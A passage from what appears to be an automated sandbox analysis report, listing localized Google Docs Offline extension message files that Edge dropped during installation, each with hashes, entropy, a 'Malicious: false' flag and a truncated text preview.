SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
